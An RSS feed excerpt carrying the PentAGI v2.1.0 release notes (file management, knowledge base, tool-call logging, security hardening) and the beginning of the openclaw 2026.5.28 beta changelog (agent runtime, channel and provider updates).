<p><a href="https://discord.gg/2xrMh7qX6m" rel="nofollow"><img src="https://camo.githubusercontent.com/a21b1aed16f00dca6c20dfd5f774cad885564c0ca567b5287064678f9dd4a9ad/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f446973636f72642d3732383944413f6c6f676f3d646973636f7264266c6f676f436f6c6f723d7768697465" alt="Discord" data-canonical-src="https://img.shields.io/badge/Discord-7289DA?logo=discord&amp;logoColor=white"></a>⠀<a href="https://t.me/+Ka9i6CNwe71hMWQy" rel="nofollow"><img src="https://camo.githubusercontent.com/6330f08e9a6011f0cce3ae560b8c13095d4add60454cb914dfdbf33c3bbabdf2/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f54656c656772616d2d3243413545303f6c6f676f3d74656c656772616d266c6f676f436f6c6f723d7768697465" alt="Telegram" data-canonical-src="https://img.shields.io/badge/Telegram-2CA5E0?logo=telegram&amp;logoColor=white"></a></p>
</div>
<hr>
<h3>Major Features</h3>
<h4><strong>User Resources &amp; Flow Files</strong></h4>
<p>A new file management layer lets users bring their own files into PentAGI and share them with agents.</p>
<ul>
<li><strong>User Resources</strong> — a persistent, per-user file library with MD5-deduplicated storage and a virtual path filesystem. Full REST and GraphQL CRUD (upload, mkdir, move, copy, delete, download), real-time subscriptions, and atomic multi-source / multi-path batch operations.</li>
<li><strong>Flow files</strong> — per-flow workspace files that sync into worker containers at <code>/work/uploads</code> and <code>/work/resources</code>. Files can be pulled back out of a running container and promoted into the user library. Attached files are injected into agent system prompts as a structured <code>&lt;task_files&gt;</code> block, so the assistant is aware of what the user provided.</li>
<li><strong>File Manager UI</strong> — a reusable tree component with multi-select, keyboard navigation, drag-and-drop, sortable columns, bulk actions, and an overwrite workflow. Used by both the new <code>/resources</code> page and the flow Files tab.</li>
<li><strong>Limits and hardening</strong> — enforced on both ends: 300 MB per file, 1000 files per request, 2 GB total, 255-byte names. Upload paths are protected against directory traversal and symlink escapes.</li>
</ul>
<h4><strong>Knowledge Base Management</strong></h4>
<p>The pgvector memory store is now a first-class, user-manageable resource rather than agent-only auto-storage.</p>
<ul>
<li>GraphQL/REST CRUD plus <strong>semantic search</strong> over the knowledge store, with admin/user scoping, per-user document ownership, re-embedding on update, and real-time subscriptions.</li>
<li>A new <code>/knowledges</code> interface with list and detail pages, a TipTap markdown editor, partial updates, inline rename/delete, and a collapsible semantic-search input (hotkey-accessible).</li>
<li><strong>Text anonymization</strong> — a new <code>anonymizeText</code> service (GraphQL/REST) to scrub sensitive data, surfaced directly in the knowledge editor.</li>
<li>The vector search engine was rewritten onto direct, parameterized SQL queries — fixing a bug where document IDs were dropped and removing unsafe SQL string interpolation.</li>
</ul>
<h4><strong>ToolCall Observability</strong></h4>
<p>Individual agent tool calls are now logged through a dedicated provider and exposed via GraphQL queries and subscriptions plus a REST API, giving real-time, inspectable visibility into every command, search, and action an agent performs during a flow.</p>
<h4><strong>Assistant Flow Management</strong></h4>
<p>The interactive assistant can now observe and steer active flows without leaving the chat. New tools let the assistant read flow status (with multiple detail levels), stop a flow, submit input to a waiting flow, patch subtasks, and block until a task completes. A summarizer cache avoids redundant LLM calls when reporting flow state.</p>
<h4><strong>Unified Agent Language Policy</strong></h4>
<p>A single, consistent language policy now spans all agent prompts: vector-store and search-engine queries are forced to English for retrieval consistency, while user-facing messages follow the engagement language. Template variables and tool access were aligned with each agent's actual runtime tool set.</p>
<hr>
<h3>New Capabilities</h3>
<h4><strong>Updated Provider Configurations &amp; Models</strong></h4>
<p>Built-in model configurations were refreshed across multiple providers — OpenAI, Anthropic, Gemini, DeepSeek, Qwen, Kimi, and GLM — to match the current model landscape, with updated model lists, pricing, and context windows.</p>
<ul>
<li><strong>Per-role thinking control</strong> — reasoning models such as DeepSeek and Qwen now toggle thinking mode per agent role, so utility roles run without thinking (and honor their sampling parameters) while reasoning, tool-use, and security-analysis roles keep it enabled.</li>
<li><strong>New reference configurations</strong> — <strong>vLLM Qwen 3.6</strong> (thinking and non-thinking, including 35B FP8 variants) bundled in the Docker image, and an <strong>Azure OpenAI</strong> example.</li>
<li><strong>Ollama</strong> now surfaces a clear, actionable error when the selected model does not support tool/function calling, instead of a deeply nested stack trace.</li>
</ul>
<h4><strong>Per-Model Analytics</strong></h4>
<p>A new query surfaces token usage broken down by model and agent type within a single flow, integrated into the flow dashboard.</p>
<h4><strong>Configuration</strong></h4>
<ul>
<li><code>TERMINAL_TOOL_TIMEOUT</code> — configurable terminal command timeout (default raised to 1200 seconds, with clamping for out-of-range values).</li>
<li>PostgreSQL connection pooling — shared pools for sqlc, GORM, and pgvector with new tunables <code>DB_MAX_OPEN_CONNS</code>, <code>DB_MAX_IDLE_CONNS</code>, and <code>DB_VECTOR_MAX_CONNS</code>.</li>
<li><code>EMBEDDING_MAX_TEXT_BYTES</code> — caps the text size sent to the embedding model.</li>
<li>The Settings API now exposes <code>version</code> and <code>isDevelopMode</code>.</li>
</ul>
<hr>
<h3>Frontend Modernization</h3>
<p>A broad pass touched nearly every list and detail page.</p>
<ul>
<li><strong>Unified list tables</strong> — URL-synced filtering, pagination, sorting, and column visibility, with multi-column search ("Search in" column picker) and contextual empty states.</li>
<li><strong>Detail navigation</strong> — Prev/Position/Next navigation between sibling records, with an in-sheet searchable list.</li>
<li><strong>Inline actions</strong> — rename, finish, and delete directly from flow, template, and knowledge headers and list rows.</li>
<li><strong>Per-route document titles</strong> — browser tabs now reflect the actual page (including live flow titles), driven by a centralized title registry.</li>
<li><strong>Mobile UX</strong> — responsive headers that collapse to icon-only buttons, a unified flow attachment/template picker, and a compact dashboard period switcher.</li>
<li><strong>Performance</strong> — dashboard period-switch interaction latency reduced from 434 ms to 134 ms, the PDF renderer is lazy-loaded (cutting the report route's initial JS by ~1.5 MB), the knowledge provider is scoped to its own routes (avoiding a ~2.1 MB payload on every page), filtering is debounced, and rename/favorite actions update optimistically for instant feedback.</li>
<li><strong>Platform upgrades</strong> — React 19, Apollo Client v4, Vite 8 (Rolldown), TypeScript 6, Zod v4, the graphql-codegen v6/v7 toolchain, and the shadcn new-york-v4 component style. The frontend test suite grew from 475 to 541 tests.</li>
<li><strong>Accessibility</strong> — aria-labels across icon-only buttons, form-field id/name fixes, and Radix dialog compliance.</li>
</ul>
<hr>
<h3>Bug Fixes &amp; Reliability</h3>
<h4><strong>Flow &amp; Agent Execution</strong></h4>
<ul>
<li><strong>Task cancellation</strong> — subtask generation now runs under a cancellable context, so cancelling a task no longer reports a false success.</li>
<li><strong>Custom prompts</strong> — user prompt overrides saved in Settings → Prompts are now actually applied to new assistant and flow sessions (they were silently using the defaults).</li>
<li><strong>Malformed tool-call JSON</strong> — truncated or invalid LLM arguments now fall back to an empty object instead of triggering LiteLLM 400 errors and infinite retry loops; literal control characters in arguments are sanitized before storage.</li>
<li><strong>Subscription backpressure</strong> — events are dropped for slow or disconnected subscribers after a timeout, preventing goroutine accumulation.</li>
<li><strong>Deadlock fixes</strong> — resolved a deadlock in the log worker and a nil-channel deadlock when finishing an assistant session.</li>
<li><strong>Browser tool</strong> — small/empty page content now returns a warning rather than an error, binary URLs are reported clearly, and a failed screenshot no longer discards successfully fetched page content.</li>
</ul>
<h4><strong>Knowledge &amp; Data</strong></h4>
<ul>
<li>Vector search safety hardened (parameterized queries, memory documents excluded at the SQL level).</li>
<li>Fixed recursive resource retrieval over GraphQL, and resource move/copy responses now return the correct entries for client cache consistency.</li>
</ul>
<h4><strong>Frontend</strong></h4>
<ul>
<li>Fixed a production crash on flow detail pages caused by the minifier stripping function names from document-title components.</li>
<li>Eliminated several table state races (filter clearing, pagination URL loops, batched URL updates) and a GraphQL codegen issue that emitted duplicate types and broke the dev server.</li>
<li>API token names are no longer lost when a subscription refetches the table mid-edit; the default button type no longer triggers accidental form submits.</li>
</ul>
<hr>
<h3>Security</h3>
<ul>
<li>Flow file uploads are hardened against path traversal and symlink escapes, with size and count limits enforced on both the backend and the frontend.</li>
<li>Knowledge vector search uses parameterized queries, removing prior string-interpolated SQL.</li>
<li>New endpoints enforce user/admin privilege scoping, with dedicated privileges (<code>anonymize.call</code>, toolcall access) added via migration.</li>
<li>Text anonymization is available to scrub sensitive data from stored knowledge.</li>
</ul>
<hr>
<h3>Documentation</h3>
<p>Extensive user-facing documentation was added, including a first-use guide, a pentesting prompt methodology guide, memory lifecycle across flows, capability boundaries, OAuth callback setup, a Docker mirror guide for restricted networks, OSINT integration scenarios, the flow Files tab, DeepSeek V4 migration and pricing, and a clarification that Vertex AI is reachable today only via an OpenAI-compatible gateway. Two design RFCs — flow concurrency with completion webhooks, and MCP client integration — were added under <code>examples/proposals/</code> as design proposals with no runtime code yet.</p>
<hr>
<h3>Upgrade Notes</h3>
<ul>
<li><strong>DeepSeek</strong>: deployments using the legacy <code>deepseek-chat</code> / <code>deepseek-reasoner</code> model names should migrate to <code>deepseek-v4-flash</code> / <code>deepseek-v4-pro</code> before the upstream deprecation on 2026-07-24.</li>
<li><strong>Database</strong>: connection-pool settings were consolidated to <code>DB_MAX_OPEN_CONNS</code>, <code>DB_MAX_IDLE_CONNS</code>, and <code>DB_VECTOR_MAX_CONNS</code> — verify against <code>.env.example</code>.</li>
<li><strong>Terminal timeout</strong>: <code>TERMINAL_TOOL_TIMEOUT</code> default raised from 600 to 1200 seconds; review if a lower value was intentional.</li>
<li><strong>Frontend development</strong> now requires <code>pnpm</code> (previously npm).</li>
<li>Database migrations apply automatically at startup. After pulling, rebuild and restart: <code>docker compose build &amp;&amp; docker compose up -d</code>.</li>
</ul>
<hr>
<h2>Contributors</h2>
<h3>Core Team</h3>
<ul>
<li><a href="https://github.com/asdek">@asdek</a> (Dmitry Nagibin) — User resources &amp; flow files backend, knowledge base API and vector search, ToolCall logging, anonymizer, assistant flow management tools, agent language policy, provider model updates, database connection pooling, and flow reliability fixes</li>
<li><a href="https://github.com/sirozha">@sirozha</a> (Sergey Kozyrenko) — File Manager component, resources/knowledges/flow-files UI, unified list tables and multi-column search, detail navigation, document titles, mobile UX, frontend platform upgrade (React 19 / Apollo v4 / Vite 8), and performance &amp; accessibility work</li>
</ul>
<h3>External Contributors</h3>
<ul>
<li><a href="https://github.com/mason5052">@mason5052</a> — Custom prompts fix, Ollama tool-support error clarity, DeepSeek V4 migration, flow file upload hardening, and extensive documentation and design RFCs (flow concurrency, MCP client integration, evidence chain)</li>
<li><a href="https://github.com/Kairos-T">@Kairos-T</a> — Documentation mermaid syntax fix (<a href="https://github.com/vxcontrol/pentagi/pull/259" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/259/hovercard">PR#259</a>)</li>
</ul>
<hr>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/vxcontrol/pentagi/compare/v2.0.0...v2.1.0"><tt>v2.0.0...v2.1.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.28-beta.2]]></title>
<description><![CDATA[2026.5.28
Highlights

Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime st...]]></description>
<link>https://tsecurity.de/de/3556921/downloads/openclaw-2026528-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3556921/downloads/openclaw-2026528-beta2/</guid>
<pubDate>Fri, 29 May 2026 14:31:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.28</h2>
<h3>Highlights</h3>
<ul>
<li>Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4530733870" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87218/hovercard" href="https://github.com/openclaw/openclaw/pull/87218">#87218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523882966" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86875/hovercard" href="https://github.com/openclaw/openclaw/pull/86875">#86875</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535658120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87409/hovercard" href="https://github.com/openclaw/openclaw/pull/87409">#87409</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535300059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87399" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87399/hovercard" href="https://github.com/openclaw/openclaw/pull/87399">#87399</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534684461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87375" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87375/hovercard" href="https://github.com/openclaw/openclaw/pull/87375">#87375</a>)</li>
<li>Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, WhatsApp profile auth roots, Telegram polling, and Microsoft Teams service URL trust checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345081037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73706/hovercard" href="https://github.com/openclaw/openclaw/pull/73706">#73706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364693778" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75670" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75670/hovercard" href="https://github.com/openclaw/openclaw/issues/75670">#75670</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534435733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87366" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87366/hovercard" href="https://github.com/openclaw/openclaw/pull/87366">#87366</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536461472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87451" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87451/hovercard" href="https://github.com/openclaw/openclaw/pull/87451">#87451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533570288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87334" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87334/hovercard" href="https://github.com/openclaw/openclaw/pull/87334">#87334</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459071895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82492/hovercard" href="https://github.com/openclaw/openclaw/pull/82492">#82492</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465217648" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83304" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83304/hovercard" href="https://github.com/openclaw/openclaw/pull/83304">#83304</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529579598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87160/hovercard" href="https://github.com/openclaw/openclaw/pull/87160">#87160</a>)</li>
<li>Mobile and chat surfaces got a broader refresh: the iOS Pro UI, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534475516" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87367/hovercard" href="https://github.com/openclaw/openclaw/pull/87367">#87367</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537867197" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87531/hovercard" href="https://github.com/openclaw/openclaw/pull/87531">#87531</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541460557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87682/hovercard" href="https://github.com/openclaw/openclaw/pull/87682">#87682</a>)</li>
<li>Browser, channel, and automation inputs are stricter: Browser tool timeouts, viewport/tab indices, Gateway ports, cron retry handling, Discord component ids, schema array refs, Telegram callback pages, and channel progress callbacks now reject malformed values earlier and preserve the intended delivery context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462211584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82887" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82887/hovercard" href="https://github.com/openclaw/openclaw/pull/82887">#82887</a>)</li>
<li>Provider, media, and document coverage expands with Claude Opus 4.8, Fal Krea image schemas, NVIDIA featured models, MiniMax streaming music responses, encrypted PDF extraction, voice model catalogs, GitHub Copilot agent runtime support, and a Codex Supervisor plugin path for delegated Codex workflows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545001692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87845" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87845/hovercard" href="https://github.com/openclaw/openclaw/pull/87845">#87845</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545739723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87890/hovercard" href="https://github.com/openclaw/openclaw/pull/87890">#87890</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424322077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80775/hovercard" href="https://github.com/openclaw/openclaw/pull/80775">#80775</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491159526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84764/hovercard" href="https://github.com/openclaw/openclaw/pull/84764">#84764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542757246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87751/hovercard" href="https://github.com/openclaw/openclaw/pull/87751">#87751</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544160876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87794/hovercard" href="https://github.com/openclaw/openclaw/pull/87794">#87794</a>)</li>
<li>CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, workspace dotenv provider credentials are ignored, OAuth and local service startup requests are bounded, legacy <code>api_key</code> auth profiles migrate to canonical form, and restart guidance is actionable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535278756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87398" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87398/hovercard" href="https://github.com/openclaw/openclaw/pull/87398">#87398</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513750971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86281" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86281/hovercard" href="https://github.com/openclaw/openclaw/pull/86281">#86281</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534263190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87361/hovercard" href="https://github.com/openclaw/openclaw/pull/87361">#87361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470260031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83655" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83655/hovercard" href="https://github.com/openclaw/openclaw/pull/83655">#83655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538477112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87559/hovercard" href="https://github.com/openclaw/openclaw/pull/87559">#87559</a>)</li>
<li>Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, and viewer assets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520495731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86699" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86699/hovercard" href="https://github.com/openclaw/openclaw/pull/86699">#86699</a>)</li>
<li>Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Status: show active subagent details in status output.</li>
<li>Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534535212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87370/hovercard" href="https://github.com/openclaw/openclaw/pull/87370">#87370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534563692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87372/hovercard" href="https://github.com/openclaw/openclaw/pull/87372">#87372</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>ClawHub: add plugin display names plus skill verification and trust surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534140530" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87354" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87354/hovercard" href="https://github.com/openclaw/openclaw/pull/87354">#87354</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520495731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86699" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86699/hovercard" href="https://github.com/openclaw/openclaw/pull/86699">#86699</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thewilloftheshadow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thewilloftheshadow">@thewilloftheshadow</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>.</li>
<li>iOS: refresh the dev app with Pro Command, Chat, Agents, and Settings tabs wired to gateway sessions, diagnostics, chat, and realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534475516" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87367/hovercard" href="https://github.com/openclaw/openclaw/pull/87367">#87367</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, CLI setup flow compatibility, and backport targets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533118068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87313/hovercard" href="https://github.com/openclaw/openclaw/pull/87313">#87313</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223303633" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63050" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63050/hovercard" href="https://github.com/openclaw/openclaw/pull/63050">#63050</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541567603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87685" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87685/hovercard" href="https://github.com/openclaw/openclaw/pull/87685">#87685</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bdjben/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bdjben">@bdjben</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoandi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoandi">@liaoandi</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thewilloftheshadow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thewilloftheshadow">@thewilloftheshadow</a>.</li>
<li>PDF/tools: use ClawPDF for PDF extraction, support encrypted PDF extraction, and surface MCP structured content in agent tool results. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541241418" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87670" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87670/hovercard" href="https://github.com/openclaw/openclaw/pull/87670">#87670</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542757246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87751/hovercard" href="https://github.com/openclaw/openclaw/pull/87751">#87751</a>)</li>
<li>Providers: add Claude Opus 4.8 support, Fal Krea image model schemas, NVIDIA featured model catalogs, MiniMax streaming music responses, and provider-backed voice model catalogs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545001692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87845" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87845/hovercard" href="https://github.com/openclaw/openclaw/pull/87845">#87845</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545739723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87890/hovercard" href="https://github.com/openclaw/openclaw/pull/87890">#87890</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424322077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80775/hovercard" href="https://github.com/openclaw/openclaw/pull/80775">#80775</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491159526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84764/hovercard" href="https://github.com/openclaw/openclaw/pull/84764">#84764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544160876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87794/hovercard" href="https://github.com/openclaw/openclaw/pull/87794">#87794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex/GitHub: add the GitHub Copilot agent runtime and the Codex Supervisor plugin package.</li>
<li>Discord: show commentary in progress drafts so live Discord runs expose useful in-progress context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499607477" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85200/hovercard" href="https://github.com/openclaw/openclaw/pull/85200">#85200</a>)</li>
